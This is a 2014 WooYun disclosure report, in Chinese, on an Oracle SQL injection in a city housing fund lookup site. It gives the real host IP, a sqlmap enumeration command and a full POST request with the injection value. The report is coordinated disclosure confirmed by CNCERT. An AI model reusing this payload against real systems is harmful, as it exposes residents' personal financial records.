当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-083387

漏洞标题：某市公积金系统Oracle注入漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： BMa

提交时间：2014-11-16 09:47

修复时间：2014-12-31 09:50

公开时间：2014-12-31 09:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：16

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-16： 细节已通知厂商并且等待厂商处理中
2014-11-21： 厂商已经确认，细节仅向厂商公开
2014-12-01： 细节向核心白帽子及相关领域专家公开
2014-12-11： 细节向普通白帽子公开
2014-12-21： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

某市公积金系统Oracle注入漏洞
影响26个数据库,可拖走全市所有人的公积金信息

详细说明：

http://218.22.66.214:8088/search_wh.aspx
审核时请看详情，与http://wooyun.org/bugs/wooyun-2014-080062是完全不同的注入点
而且这里是ORACLE，它的为MSSQL
PAYLOAD:

root@kali:~# sqlmap -r /root/Desktop/1.txt  -p  "TextBox_dwzh"  --time-sec 10 -D YXGJJUSER -T YX_PERSON --columns


POST /search_wh.aspx HTTP/1.1
Host: 218.22.66.214:8088
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.22.66.214:8088/search_wh.aspx
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 513
__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTM5Nzc2MzM0MQ9kFgICAw9kFgYCBQ8QZGQWAWZkAgcPDxYCHgdFbmFibGVkZ2RkAgkPDxYEHwBoHgRUZXh0ZWRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMrBYi7%2Fhv3jVAIDBPg1k8%2B8B7FgGEZ1TcuuK9VVLLdbD&__EVENTVALIDATION=%2FwEWCALNvOmpCgL444i9AQL544i9AQL3jKLTDQKB7%2F%2BwDQLw7ruwDQLSwpnTCALSwtXkAoFa6hSn%2F5rQEDj0L8YmFwsB6gAifK4lu7qw8x8XmcJD&RadioButtonList1=1&TextBox_dwzh=%27%7C%7C1%7C%7C%27&ImageButton1.x=12&ImageButton1.y=9


首先查询时用万能密码看看是否存在注入：

注入1.png


看来是匹配了所有的查询：

注入2.png


那就用工具跑一跑：

注入3.png


注入4.png


注入5.png


这里是其中一张表信息，表太多不好辨别，我也不知道是什么数据

注入6.png


漏洞证明：

修复方案：

版权声明：转载请注明来源 BMa@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-11-21 08:19

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给安徽分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论